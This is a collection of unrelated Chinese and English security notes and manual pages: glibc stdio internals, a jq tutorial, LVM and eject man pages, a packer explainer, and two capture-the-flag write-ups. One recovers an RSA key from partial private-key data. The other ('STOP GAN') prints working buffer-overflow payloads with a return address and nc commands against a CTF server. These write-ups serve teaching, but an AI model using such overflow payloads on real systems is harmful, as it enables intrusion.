size_t fread ( void *buffer, size_t size, size_t count, FILE *stream) ;
```
* buffer 存放读取数据的缓冲区。
* size:指定每个记录的长度。
* count: 指定记录的个数。
* stream:目标文件流。
* 返回值:返回读取到数据缓冲区中的记录个数
fread的代码位于/libio/iofread.c中,函数名为_IO_fread,但真正的功能实现在子函数_IO_sgetn中。
```
_IO_size_t
_IO_fread (buf, size, count, fp)
void *buf;
_IO_size_t size;
_IO_size_t count;
_IO_FILE *fp;
{
...
bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
...
}
```
在_IO_sgetn函数中会调用_IO_XSGETN,而_IO_XSGETN是_IO_FILE_plus.vtable中的函数指针,在调用这个函数时会首先取出vtable中的指针然后再进行调用。
```
_IO_size_t
_IO_sgetn (fp, data, n)
_IO_FILE *fp;
void *data;
_IO_size_t n;
{
return _IO_XSGETN (fp, data, n);
}
```
在默认情况下函数指针是指向_IO_file_xsgetn函数的,
```
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
```
## fwrite
fwrite同样是标准IO库函数,作用是向文件流写入数据,函数原型如下
```
size_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream);
```
* buffer:是一个指针,对fwrite来说,是要写入数据的地址;
* size:要写入内容的单字节数;
* count:要进行写入size字节的数据项的个数;
* stream:目标文件指针;
* 返回值:实际写入的数据项个数count。
fwrite的代码位于/libio/iofwrite.c中,函数名为_IO_fwrite。
在_IO_fwrite中主要是调用_IO_XSPUTN来实现写入的功能。
根据前面对_IO_FILE_plus的介绍,可知_IO_XSPUTN位于_IO_FILE_plus的vtable中,调用这个函数需要首先取出vtable中的指针,再跳过去进行调用。
```
written = _IO_sputn (fp, (const char *) buf, request);
```
在_IO_XSPUTN对应的默认函数_IO_new_file_xsputn中会调用同样位于vtable中的_IO_OVERFLOW
```
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
```
_IO_OVERFLOW默认对应的函数是_IO_new_file_overflow
```
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
```
在_IO_new_file_overflow内部最终会调用系统接口write函数
## fopen
fopen在标准IO库中用于打开文件,函数原型如下
```
FILE *fopen(char *filename, *type);
```
* filename:目标文件的路径
* type:打开方式的类型
* 返回值:返回一个文件指针
在fopen内部会创建FILE结构并进行一些初始化操作,下面来看一下这个过程
首先在fopen对应的函数__fopen_internal内部会调用malloc函数,分配FILE结构的空间。因此我们可以获知FILE结构是存储在堆上的
```
*new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));
```
之后会为创建的FILE初始化vtable,并调用_IO_file_init进一步初始化操作
```
_IO_JUMPS (&new_f->fp) = &_IO_file_jumps;
_IO_file_init (&new_f->fp);
```
在_IO_file_init函数的初始化操作中,会调用_IO_link_in把新分配的FILE链入_IO_list_all为起始的FILE链表中
```
void
_IO_link_in (fp)
struct _IO_FILE_plus *fp;
{
if ((fp->file._flags & _IO_LINKED) == 0)
{
fp->file._flags |= _IO_LINKED;
fp->file._chain = (_IO_FILE *) _IO_list_all;
_IO_list_all = fp;
++_IO_list_all_stamp;
}
}
```
之后__fopen_internal函数会调用_IO_file_fopen函数打开目标文件,_IO_file_fopen会根据用户传入的打开模式进行打开操作,总之最后会调用到系统接口open函数,这里不再深入。
```
if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL)
return __fopen_maybe_mmap (&new_f->fp.file);
```
总结一下fopen的操作是
* 使用malloc分配FILE结构
* 设置FILE结构的vtable
* 初始化分配的FILE结构
* 将初始化的FILE结构链入FILE结构链表中
* 调用系统调用打开文件
## fclose
fclose是标准IO库中用于关闭已打开文件的函数,其作用与fopen相反。
```
int fclose(FILE *stream)
```
功能:关闭一个文件流,使用fclose就可以把缓冲区内最后剩余的数据输出到磁盘文件中,并释放文件指针和有关的缓冲区
fclose首先会调用_IO_unlink_it将指定的FILE从_chain链表中脱链
```
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
```
之后会调用_IO_file_close_it函数,_IO_file_close_it会调用系统接口close关闭文件
```
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
```
最后调用vtable中的_IO_FINISH,其对应的是_IO_file_finish函数,其中会调用free函数释放之前分配的FILE结构
```
_IO_FINISH (fp);
```
## printf/puts
printf和puts是常用的输出函数,在printf的参数是以'\n'结束的纯字符串时,printf会被优化为puts函数并去除换行符。
puts在源码中实现的函数是_IO_puts,这个函数的操作与fwrite的流程大致相同,函数内部同样会调用vtable中的_IO_sputn,结果会执行_IO_new_file_xsputn,最后会调用到系统接口write函数。
printf的调用栈回溯如下,同样是通过_IO_file_xsputn实现
```
vfprintf+11
_IO_file_xsputn
_IO_file_overflow
funlockfile
_IO_file_write
write
```
|
sec-knowleage
|
# 如何使用 CTF Wiki
## 简介
CTF Wiki 由三个姊妹项目构成
- [ctf-wiki](https://github.com/ctf-wiki/ctf-wiki),介绍 CTF 相关安全知识。
- [ctf-challenges](https://github.com/ctf-wiki/ctf-challenges),存储 CTF Wiki 中使用到的题目以及一些典型题目的附件、题解。
- [ctf-tools](https://github.com/ctf-wiki/ctf-tools),介绍 CTF 中常用到的工具。
## 如何找题目附件
我们可以在 `ctf-challenges` 仓库下找到题目附件。以[基本 ROP](https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/) 中的题目为例,具体路径如下:<https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow>。
|
sec-knowleage
|
jq
===
一个灵活的轻量级命令行JSON处理器
### 补充说明
jq 是 stedolan 开发的一个轻量级的和灵活的命令行JSON处理器,源码请参考 [jq 项目主页](https://github.com/stedolan/jq)
jq 用于处理JSON输入,将给定过滤器应用于其JSON文本输入并在标准输出上将过滤器的结果生成为JSON。
最简单的过滤器是`.`,它将jq的输入未经修改地复制到其输出中(格式设置除外)。
请注意,jq 当前仅支持64位双精度浮点数(IEEE754)。
### 安装
```bash
# Debian系,如 Ubuntu
sudo apt-get install jq
# RedHat系, 如 CentOS
yum install jq
```
### 语法
```bash
jq [options] <jq filter> [file...]
jq [options] --args <jq filter> [strings...]
jq [options] --jsonargs <jq filter> [JSON_TEXTS...]
```
### 选项
```bash
-c 紧凑而不是漂亮的输出;
-n 使用`null`作为单个输入值;
-e 根据输出设置退出状态代码;
-s 将所有输入读取(吸取)到数组中;应用过滤器;
-r 输出原始字符串,而不是JSON文本;
-R 读取原始字符串,而不是JSON文本;
-C 为JSON着色;
-M 单色(不要为JSON着色);
-S 在输出上排序对象的键;
--tab 使用制表符进行缩进;
--arg a v 将变量$a设置为value<v>;
--argjson a v 将变量$a设置为JSON value<v>;
--slurpfile a f 将变量$a设置为从<f>读取的JSON文本数组;
--rawfile a f 将变量$a设置为包含<f>内容的字符串;
--args 其余参数是字符串参数,而不是文件;
--jsonargs 其余的参数是JSON参数,而不是文件;
-- 终止参数处理;
```
### 例子
`.`: 以漂亮的方式输出
```bash
$ echo '{ "foo": { "bar": { "baz": 123 } } }' | jq '.'
{
"foo": {
"bar": {
"baz": 123
}
}
}
```
`.foo, .foo.bar, .foo?`: 获取一个键的值
```bash
$ echo '{"foo": 42, "bar": "less interesting data"}' | jq '.foo'
42
```
`.[], .[]?, .[2], .[10:15]`: 数组运算
```bash
$ echo '[{"name":"JSON", "good":true}, {"name":"XML", "good":false}]' | jq '.[1]'
{
"name": "XML",
"good": false
}
```
`[], {}`: 构造一个数组/对象
```bash
$ echo '{"user":"stedolan","titles":["JQ Primer", "More JQ"]}' | jq '{user, title: .titles[]}'
{
"user": "stedolan",
"title": "JQ Primer"
}
{
"user": "stedolan",
"title": "More JQ"
}
```
`length`: 计算一个值的长度
```bash
$ echo '[[1,2], "string", {"a":2}, null]' | jq '.[] | length'
2
6
1
0
```
`keys`: 取出数组中的键
```bash
$ echo '{"abc": 1, "abcd": 2, "Foo": 3}' | jq 'keys'
[
"Foo",
"abc",
"abcd"
]
```
`,`: 使用多个过滤器
```bash
$ echo '{ "foo": 42, "bar": "something else", "baz": true}' | jq '.foo, .bar'
42
"something else"
```
`|`: 通过管道将一个过滤器的输出当做下一个过滤器的输入
```bash
$ echo '[{"name":"JSON", "good":true}, {"name":"XML", "good":false}]' | jq '.[] | .name'
"JSON"
"XML"
```
`select(foo)`: 如果foo返回true,则输入保持不变
```bash
$ echo '[1,5,3,0,7]' | jq 'map(select(. >= 2))'
[
5,
3,
7
]
```
`map(foo)`: 每个输入调用过滤器
```bash
$ echo '[1,2,3]' | jq 'map(.+1)'
[
2,
3,
4
]
```
`if-then-else-end`: 条件判断
```bash
$ echo '2' | jq 'if . == 0 then "zero" elif . == 1 then "one" else "many" end'
"many"
```
`\(foo)`: 在字符串中插入值并进行运算
```bash
$ echo '42' | jq '"The input was \(.), which is one less than \(.+1)"'
"The input was 42, which is one less than 43"
```
|
sec-knowleage
|
## equation (Crypto, 2p)
Here is a RSA private key with its upper part masked. Can your recover the private key and decrypt the file?
###ENG
[PL](#pl-version)
We have the picture:

from which we can extract the base64 of the private key part:
```
Os9mhOQRdqW2cwVrnNI72DLcAXpXUJ1HGwJBANWiJcDUGxZpnERxVw7s0913WXNt
V4GqdxCzG0pG5EHThtoTRbyX0aqRP4U/hQ9tRoSoDmBn+3HPITsnbCy67VkCQBM4
xZPTtUKM6Xi+16VTUnFVs9E4rqwIQCDAxn9UuVMBXlX2Cl0xOGUF4C5hItrX2woF
7LVS5EizR63CyRcPovMCQQDVyNbcWD7N88MhZjujKuSrHJot7WcCaRmTGEIJ6TkU
8NWt9BVjR4jVkZ2EqNd0KZWdQPukeynPcLlDEkIXyaQx
```
Next we read a bit about ANS1 DER ( https://en.wikipedia.org/wiki/Abstract_Syntax_Notation_One#Example_encoded_in_DER ) format and what are the values in the rsa private key file.
It turns out that that the file contains:
```
RSAPrivateKey ::= SEQUENCE {
version Version,
modulus INTEGER, -- n
publicExponent INTEGER, -- e
privateExponent INTEGER, -- d
prime1 INTEGER, -- p
prime2 INTEGER, -- q
exponent1 INTEGER, -- d mod (p-1)
exponent2 INTEGER, -- d mod (q-1)
coefficient INTEGER, -- (inverse of q) mod p
otherPrimeInfos OtherPrimeInfos OPTIONAL
}
```
And the extraction is quite simple - we need to find byte `02` which denotes start of an integer and then the next byte specifies number of bytes that follow.
We wrap this in a short script:
```python
def get_dp_dq_qinv(key64):
result = []
key_tab = list(b64decode(key64))
print(key_tab)
i = 0
while i < len(key_tab):
x = key_tab[i]
if x == 0x2: # integer start
length = key_tab[i + 1]
octets = key_tab[i + 2: i + 2 + length]
value = int.from_bytes(octets, byteorder="big")
result.append(value)
print(value)
i += 2 + length
else:
i += 1
return tuple(result)
dp, dq, qinv = get_dp_dq_qinv(key64)
```
And thus we get 3 integers, which are (accoring for private key der format): dp, dq and qinv.
dp = 11188888442779478492506783674852186314949555636014740182307607993518479864690065244102864238986781155531033697982611187514703037389481147794554444962262361
dq = 1006725509429627901220283238134032802363853505667837273574181077068133214344166038422298631614477333564791953596600001816371928482096290600710984197710579
qinv = 11196804284042107547423407831525890933636414684075355664222816007929037065463409676450144484947842399975707117057331864113464711778199061912128258484839473
We also know a bunch of lower bytes of the `q` prime factor, however we didn't need it after all.
Instead we follow the algorithm proposed in https://eprint.iacr.org/2004/147.pdf and implement the recovery algorithm:
```python
def recover_parameters(dp, dq, qinv, e):
results = []
d1p = dp * e - 1
for k in range(3, e):
if d1p % k == 0:
hp = d1p // k
p = hp + 1
if is_prime(p):
d1q = dq * e - 1
for m in range(3, e):
if d1q % m == 0:
hq = d1q // m
q = hq + 1
if is_prime(q):
if (qinv * q) % p == 1 or (qinv * p) % q == 1:
results.append((p, q, e))
print(p, q, e)
return results
```
Which returns a single solution:
p= 12883429939639100479003058518523248493821688207697138417834631218638027564562306620214863988447681300666538212918572472128732943784711527013224777474072569
q = 12502893634923161599824465146407069882228513776947707295476805997311776855879024002289593598657949783937041929668443115224477369136089557911464046118127387
e = 65537
And now it's just a matter of recovering the `d` exponent via standard EGCD algoritm and decrypting RSA:
```python
def egcd(a, b):
u, u1 = 1, 0
v, v1 = 0, 1
while b:
q = a // b
u, u1 = u1, u - q * u1
v, v1 = v1, v - q * v1
a, b = b, a - q * b
return u
def get_d(p, n, e):
q = n / p
phi = (p - 1) * (q - 1)
d = egcd(e, phi)
if d < 0:
d += phi
return d
with open("flag.enc", "rb") as input_file:
n = p * q
data = input_file.read()
ct = bytes_to_long(data)
d = get_d(p, n, e)
pt = pow(ct, d, n)
print("pt: " + long_to_bytes(pt))
```
Which gives us `0ctf{Keep_ca1m_and_s01ve_the_RSA_Eeeequati0n!!!}`
###PL version
Dostajemy obrazek:

Z którego możemy odczytać base64 części klucza prywatnego rsa:
```
Os9mhOQRdqW2cwVrnNI72DLcAXpXUJ1HGwJBANWiJcDUGxZpnERxVw7s0913WXNt
V4GqdxCzG0pG5EHThtoTRbyX0aqRP4U/hQ9tRoSoDmBn+3HPITsnbCy67VkCQBM4
xZPTtUKM6Xi+16VTUnFVs9E4rqwIQCDAxn9UuVMBXlX2Cl0xOGUF4C5hItrX2woF
7LVS5EizR63CyRcPovMCQQDVyNbcWD7N88MhZjujKuSrHJot7WcCaRmTGEIJ6TkU
8NWt9BVjR4jVkZ2EqNd0KZWdQPukeynPcLlDEkIXyaQx
```
Następnie doczytaliśmy trochę na temat kodowania ANS1 DER ( https://en.wikipedia.org/wiki/Abstract_Syntax_Notation_One#Example_encoded_in_DER ) oraz na temat zawartości klucza prywatnego rsa w podanym formacie.
Wygląda na to że cały klucz zawiera:
```
RSAPrivateKey ::= SEQUENCE {
version Version,
modulus INTEGER, -- n
publicExponent INTEGER, -- e
privateExponent INTEGER, -- d
prime1 INTEGER, -- p
prime2 INTEGER, -- q
exponent1 INTEGER, -- d mod (p-1)
exponent2 INTEGER, -- d mod (q-1)
coefficient INTEGER, -- (inverse of q) mod p
otherPrimeInfos OtherPrimeInfos OPTIONAL
}
```
A sama ekstracja danych jest dość prosta - znajdujemy bajt `02` który oznacza początek integera a następny bajt oznacza liczbę bajtów składajacych się na liczbę.
Przytowaliśmy więc prosty skrypt:
```python
def get_dp_dq_qinv(key64):
result = []
key_tab = list(b64decode(key64))
print(key_tab)
i = 0
while i < len(key_tab):
x = key_tab[i]
if x == 0x2: # integer start
length = key_tab[i + 1]
octets = key_tab[i + 2: i + 2 + length]
value = int.from_bytes(octets, byteorder="big")
result.append(value)
print(value)
i += 2 + length
else:
i += 1
return tuple(result)
dp, dq, qinv = get_dp_dq_qinv(key64)
```
Który dał nam 3 integery, które (zgodnie z formatem klucza prywatnego) oznaczają dp, dq i qinv.
dp = 11188888442779478492506783674852186314949555636014740182307607993518479864690065244102864238986781155531033697982611187514703037389481147794554444962262361
dq = 1006725509429627901220283238134032802363853505667837273574181077068133214344166038422298631614477333564791953596600001816371928482096290600710984197710579
qinv = 11196804284042107547423407831525890933636414684075355664222816007929037065463409676450144484947842399975707117057331864113464711778199061912128258484839473
Znamy też co prawda część niskich bajtów czynnika pierwszego `q`, ale nie jest nam to potrzebne.
Postępujemy zgodnie z algorytmem zaproponowanym w https://eprint.iacr.org/2004/147.pdf i implementujemy algorytm odzyskiwania klucza:
```python
def recover_parameters(dp, dq, qinv, e):
results = []
d1p = dp * e - 1
for k in range(3, e):
if d1p % k == 0:
hp = d1p // k
p = hp + 1
if is_prime(p):
d1q = dq * e - 1
for m in range(3, e):
if d1q % m == 0:
hq = d1q // m
q = hq + 1
if is_prime(q):
if (qinv * q) % p == 1 or (qinv * p) % q == 1:
results.append((p, q, e))
print(p, q, e)
return results
```
Który zwraca jedno rozwiązanie:
p= 12883429939639100479003058518523248493821688207697138417834631218638027564562306620214863988447681300666538212918572472128732943784711527013224777474072569
q = 12502893634923161599824465146407069882228513776947707295476805997311776855879024002289593598657949783937041929668443115224477369136089557911464046118127387
e = 65537
I teraz pozostaje już tylko odzyskać wykładnik deszyfrujący `d` przez standardoy algorytm EGCD i odkodować RSA:
```python
def egcd(a, b):
u, u1 = 1, 0
v, v1 = 0, 1
while b:
q = a // b
u, u1 = u1, u - q * u1
v, v1 = v1, v - q * v1
a, b = b, a - q * b
return u
def get_d(p, n, e):
q = n / p
phi = (p - 1) * (q - 1)
d = egcd(e, phi)
if d < 0:
d += phi
return d
with open("flag.enc", "rb") as input_file:
n = p * q
data = input_file.read()
ct = bytes_to_long(data)
d = get_d(p, n, e)
pt = pow(ct, d, n)
print("pt: " + long_to_bytes(pt))
```
Co daje nam: `0ctf{Keep_ca1m_and_s01ve_the_RSA_Eeeequati0n!!!}`
|
sec-knowleage
|
### 古典密码简介
在古典密码学中,我们主要介绍单表替代密码,多表替代密码,以及一些其它比较有意思的密码。
值得一提的是,在古典密码学中,设计者主要考虑消息的保密性,使得只有相关密钥的人才可以解密密文获得消息的内容,对于消息的完整性和不可否认性则并没有进行太多的考虑。
- 拓展阅读
- [CTF 中那些脑洞大开的编码和加密](http://www.tuicool.com/articles/2E3INnm)
- [古典密码学发展史](http://www.oscca.gov.cn/sca/zxfw/2017-04/24/content_1011709.shtml)
- [古典密码——维基百科](https://zh.wikipedia.org/wiki/%E5%8F%A4%E5%85%B8%E5%AF%86%E7%A2%BC)
|
sec-knowleage
|
# 保护壳简介
## 认识壳是什么
**壳** 是在一些计算机软件里也有一段专门负责保护软件不被非法修改或反编译的程序。
它们一般都是先于程序运行,拿到控制权,然后完成它们保护软件的任务。
由于这段程序和自然界的壳在功能上有很多相同的地方,基于命名的规则,就把这样的程序称为 **壳** 了。
## 壳的分类
我们通常将 **壳** 分为两类,一类是压缩壳,另一类是加密壳。
### 压缩壳
压缩壳早在 DOS 时代就已经出现了,但是当时因为计算能力有限,解压开销过大,并没有得到广泛的运用。
使用压缩壳可以帮助缩减 PE 文件的大小,隐藏了 PE 文件内部代码和资源,便于网络传输和保存。
通常压缩壳有两类用途,一种只是单纯用于压缩普通 PE 文件的压缩壳,而另一种则会对源文件进行较大变形,严重破坏 PE 文件头,经常用于压缩恶意程序。
常见的压缩壳有:Upx、ASpack、PECompat
### 加密壳
加密壳或称保护壳,应用有多种防止代码逆向分析的技术,它最主要的功能是保护 PE 免受代码逆向分析。
由于加密壳的主要目的不再是压缩文件资源,所以加密壳保护的 PE 程序通常比原文件大得多。
目前加密壳大量用于对安全性要求高,对破解敏感的应用程序,同时也有恶意程序用于避免(降低)杀毒软件的检测查杀。
常见的加密壳有:ASProtector、Armadillo、EXECryptor、Themida、VMProtect
## 壳的加载过程
### 保存入口参数
1. 加壳程序初始化时保存各寄存器的值
2. 外壳执行完毕,恢复各寄存器值
3. 最后再跳到原程序执行
通常用 `pushad` / `popad`、`pushfd` / `popfd` 指令对来保存和恢复现场环境
### 获取所需函数 API
1. 一般壳的输入表中只有 `GetProcAddress`、`GetModuleHandle` 和 `LoadLibrary` 这几个 API 函数
2. 如果需要其他 API 函数,则通过 `LoadLibraryA(W)` 或 `LoadLibraryExA(W)` 将 DLL 文件映射到调用进程的地址空间中
3. 如果 DLL 文件已被映射到调用进程的地址空间里,就可以调用 `GetModuleHandleA(W)` 函数获得 DLL 模块句柄
4. 一旦 DLL 模块被加载,就可以调用 `GetProcAddress` 函数获取输入函数的地址
### 解密各区块数据
1. 处于保护源程序代码和数据的目的,一般会加密源程序文件的各个区块。在程序执行时外壳将这些区块数据解密,以让程序正常运行
2. 外壳一般按区块加密,按区块解密,并将解密的数据放回在合适的内存位置
### 跳转回原程序入口点
1. 在跳转回入口点之前,一般会恢复填写原PE文件输入表(IAT),并处理好重定位项(主要是 DLL 文件)
2. 因为加壳时外壳自己构造了一个输入表,因此在这里需要重新对每一个 DLL 引入的所有函数重新获取地址,并填写到 IAT 表中
3. 做完上述工作后,会将控制权移交原程序,并继续执行
|
sec-knowleage
|
# STOP GAN
Category: Pwn
## Description
> Success, you've gotten the picture of your lost love, not knowing that pictures and the things you take pictures of are generally two seperate things, you think you've rescue them and their brethren by downloading them all to your ships hard drive. They're still being eaten, but this is a fact that has escaped you entirely. Your thoughts swiftly shift to revenge. It's important now to stop this program from destroying these "Cauliflowers" as they're referred to, ever again.
A C file was attached:
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
/**
* 6e: bufferflow triggering segfault - binary, compile with:
* gcc /tmp/console.c -o /tmp/console -static -s
*
* Console allows the player to get info on the binary.
* Crashing bof will trigger the 1st flag.
* Controlling the buffer overflow in bof will trigger the 2nd flag.
*/
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
char inputs[256];
printf("Your goal: try to crash the Cauliflower system by providing input to the program which is launched by using 'run' command.\n Bonus flag for controlling the crash.\n");
while(1) {
printf("\nConsole commands: \nrun\nquit\n>>");
if (fgets(inputs, 256, stdin) == NULL) {
exit(0);
}
printf("Inputs: %s", inputs);
if ( strncmp(inputs, "run\n\0", 256) == 0 ) {
int result = system("/usr/bin/qemu-mipsel-static ./bof");
continue;
} else if ( strncmp(inputs, "quit\n\0", 256) == 0 ) {
exit(0);
} else {
puts("Unable to determine action from your input");
exit(0);
}
}
return 0;
}
```
A binary file was attached as well.
## Solution
Let's compile `console.c` according to the instructions and run it:
```console
root@kali:/media/sf_CTFs/google/STOP_GAN# ./console
Your goal: try to crash the Cauliflower system by providing input to the program which is launched by using 'run' command.
Bonus flag for controlling the crash.
Console commands:
run
quit
>>run
Inputs: run
Cauliflower systems never crash >>
test
Console commands:
run
quit
```
`console` is a wrapper for `bof`, allowing us to call it in a loop even if we're able to crash it.
`bof` is a MIPS binary, which needs to be run with the help of an emulator (qemu):
```console
root@kali:/media/sf_CTFs/google/STOP_GAN# file bof
bof: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a31c48679f10dc6945e7b5e3a88b979bebe752e3, not stripped
```
Let's take a quick look at `bof` with Ghidra's decompiler. The main function is very simple:
```c
undefined4 main(void)
{
__sighandler_t p_Var1;
undefined4 uVar2;
undefined auStack268 [260];
p_Var1 = signal(0xb,write_out);
if (p_Var1 == (__sighandler_t)0xffffffff) {
printf("An error occurred setting a signal handler.");
uVar2 = 0xffffffff;
}
else {
puts("Cauliflower systems never crash >>");
__isoc99_scanf(&UNK_004754f4,auStack268);
if (false) {
local_flag();
}
uVar2 = 0;
}
return uVar2;
}
```
We see there's a buffer of 260 bytes, which the program reads into using `scanf`. We can easily overflow this buffer.
### Uncontrolled Crash
We just overrun the buffer with >260 bytes to get the first flag:
```console
root@kali:/media/sf_CTFs/google/STOP_GAN# { echo "run"; python -c "print 'a'*300";} | nc buffer-overflow.ctfcompetition.com 1337
Your goal: try to crash the Cauliflower system by providing input to the program which is launched by using 'run' command.
Bonus flag for controlling the crash.
Console commands:
run
quit
>>Inputs: run
CTF{Why_does_cauliflower_threaten_us}
Cauliflower systems never crash >>
segfault detected! ***CRASH***
Console commands:
run
quit
```
What happens here is that the signal handler, which was registered to handle a segmentation fault with `signal(0xb,write_out);`, gets called and outputs the flag:
```c
void write_out(void)
{
printf("segfault detected! ***CRASH***");
print_file("flag0");
/* WARNING: Subroutine does not return */
exit(0);
}
```
### Controlled Crash
It looks like we'd like to jump to:
```c
void local_flag(void)
{
print_file("flag1");
/* WARNING: Subroutine does not return */
exit(0);
}
```
This function starts at:
```assembly
**************************************************************
* FUNCTION *
**************************************************************
undefined local_flag()
assume gp = 0x4a8970
assume t9 = 0x400840
undefined v0:1 <RETURN>
undefined4 Stack[-0x4]:4 local_4 XREF[1]: 00400850(W)
undefined4 Stack[-0x8]:4 local_8 XREF[1]: 00400854(W)
undefined4 Stack[-0x10]:4 local_10 XREF[1]: 0040085c(W)
local_flag XREF[1]: main:004009e0(c)
00400840 0b 00 1c 3c lui gp,0xb
assume t9 = <UNKNOWN>
assume gp = <UNKNOWN>
00400844 30 81 9c 27 addiu gp,gp,-0x7ed0
00400848 21 e0 99 03 addu gp,gp,t9
0040084c e0 ff bd 27 addiu sp,sp,-0x20
00400850 1c 00 bf af sw ra,local_4(sp)
00400854 18 00 be af sw s8,local_8(sp)
00400858 25 f0 a0 03 or s8,sp,zero
0040085c 10 00 bc af sw gp=>_gp,local_10(sp)
00400860 34 80 82 8f lw v0,-0x7fcc(gp)=>PTR_LAB_004a09a4 = 00470000
00400864 74 54 44 24 addiu a0=>s_flag1_00475474,v0,0x5474 = "flag1"
00400868 30 80 82 8f lw v0,-0x7fd0(gp)=>->__ehdr_start = 00400000
0040086c 30 07 42 24 addiu v0,v0,0x730
00400870 25 c8 40 00 or t9,v0,zero
00400874 ae ff 11 04 bal print_file undefined print_file()
```
In order to discover the exact overflow offset, we run `bof` with the built-in `qemu` functionality of `strace`. Note that using the default alphabet of `cyclic` was giving an incorrect result for some reason, so we're using a non-standard one:
```console
root@kali:/media/sf_CTFs/google/STOP_GAN# cyclic -a "ABCDE" 300 | qemu-mipsel-static -strace ./bof
3161 uname(0x7ffff258) = 0
3161 brk(NULL) = 0x004a3000
3161 brk(0x004a3cc8) = 0x004a3cc8
3161 set_thread_area(0x004aa490) = 0
3161 readlink("/proc/self/exe",0x7fffe3a8,4096) = 34
3161 brk(0x004c4cc8) = 0x004c4cc8
3161 brk(0x004c5000) = 0x004c5000
3161 access("/etc/ld.so.nohwcap",F_OK) = -1 errno=2 (No such file or directory)
3161 rt_sigaction(SIGSEGV,0x7ffff1a0,0x7ffff180) = 0
3161 fstat64(1,0x7ffff198) = 0
3161 write(1,0x4a4780,35)Cauliflower systems never crash >>
= 35
3161 fstat64(0,0x7fffeb70) = 0
3161 read(0,0x4a4b88,4096) = 300
3161 read(0,0x4a4b88,4096) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x41444344} ---
3161 open("flag0",O_RDONLY) = 3
3161 read(3,0x7ffff16c,1) = 1
3161 write(1,0x7ffff16c,1)f = 1
3161 read(3,0x7ffff16c,1) = 1
3161 write(1,0x7ffff16c,1)l = 1
3161 read(3,0x7ffff16c,1) = 1
3161 write(1,0x7ffff16c,1)a = 1
3161 read(3,0x7ffff16c,1) = 1
3161 write(1,0x7ffff16c,1)g = 1
3161 read(3,0x7ffff16c,1) = 1
3161 write(1,0x7ffff16c,1)1 = 1
3161 read(3,0x7ffff16c,1) = 1
3161 write(1,0x7ffff16c,1)2 = 1
3161 read(3,0x7ffff16c,1) = 1
3161 write(1,0x7ffff16c,1)3 = 1
3161 read(3,0x7ffff16c,1) = 1
3161 write(1,0x7ffff16c,1)
= 1
3161 read(3,0x7ffff16c,1) = 0
3161 close(3) = 0
3161 write(1,0x4a4780,30)segfault detected! ***CRASH*** = 30
3161 exit_group(0)
```
We can see the `SIGSEGV` here:
```
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x41444344} ---
```
We enter this as the search parameter for `cyclic` and get the overflow offset:
```console
root@kali:/media/sf_CTFs/google/STOP_GAN# cyclic -a "ABCDE" -l 0x41444344
264
```
Now we would expect this to work, but it doesn't:
```console
root@kali:/media/sf_CTFs/google/STOP_GAN# python -c "print ('a'*264 + '\x40\x08\x40\x00');" | ./bof
Cauliflower systems never crash >>
flag for uncontrolled overflow
segfault detected! ***CRASH***
```
Moving forward with the addresses eventually works:
```console
root@kali:/media/sf_CTFs/google/STOP_GAN# python -c "print ('a'*264 + '\x4c\x08\x40\x00');" | ./bof
Cauliflower systems never crash >>
flag for controlled overflow
```
We try it on the server and get:
```console
root@kali:/media/sf_CTFs/google/STOP_GAN# { echo "run"; python -c "print ('a'*264 + '\x4c\x08\x40\x00');";} | nc buffer-overflow.ctfcompetition.com 1337
Your goal: try to crash the Cauliflower system by providing input to the program which is launched by using 'run' command.
Bonus flag for controlling the crash.
Console commands:
run
quit
>>Inputs: run
CTF{controlled_crash_causes_conditional_correspondence}
Cauliflower systems never crash >>
Console commands:
run
quit
>>
```
|
sec-knowleage
|
pvs
===
输出物理卷信息报表
## 补充说明
**pvs命令** 用于输出格式化的物理卷信息报表。使用pvs命令仅能得到物理卷的概要信息,如果要得到更加详细的信息可以使用pvdisplay命令。
### 语法
```shell
pvs(选项)(参数)
```
### 选项
```shell
--noheadings:不输出标题头;
--nosuffix:不输出空间大小的单位。
```
### 参数
物理卷:要显示报表的物理卷列表。
### 实例
使用pvs命令显示系统中所有物理卷的信息报表。在命令行中输入下面的命令:
```shell
pvs # 输出物理卷信息报表
```
输出信息如下:
```shell
PV VG fmt Attr PSize PFree
/dev/sdb1 vg1000 lvm2 -- 100.00M 100.00M
/dev/sdb2 lvm2 -- 101.98M 101.98M
```
|
sec-knowleage
|
.\" 本文件版权所有(C) 1994-1999 Jeff Tranter
.\" (tranter@pobox.com)
.\" 它可在GNU出版许可版本2或更高版本下发布.参见 GNU 出版许可的 COPYING 章节以
.\" 获知该文件可以重新发布的条件.
.TH EJECT 1 1999年1月21日 Linux User Commands(用户命令)
.SH NAME (名称)
eject \- 弹出可移动介质
.SH SYNOPSIS(总览)
eject -h.breject [-vnrsfq] [<name>]
.br
eject [-vn] -d.breject [-vn] -a on|off|1|0 [<name>]
.br
eject [-vn] -c slot [<name>]
.br
eject [-vn] -t [<name>]
.SH DESCRIPTION(描述)
.B Eject
允许可移动介质(典型是 CD-ROM,软盘,磁带,或者 JAZ 以及 ZIP 磁盘)
在软件控制下弹出.该命令也可以控制一些多盘片 CD-ROM 控制器,
控制一些设备支持的自动弹出功能,以及控制一些 CD-ROM 驱动器磁盘托盘的关闭.
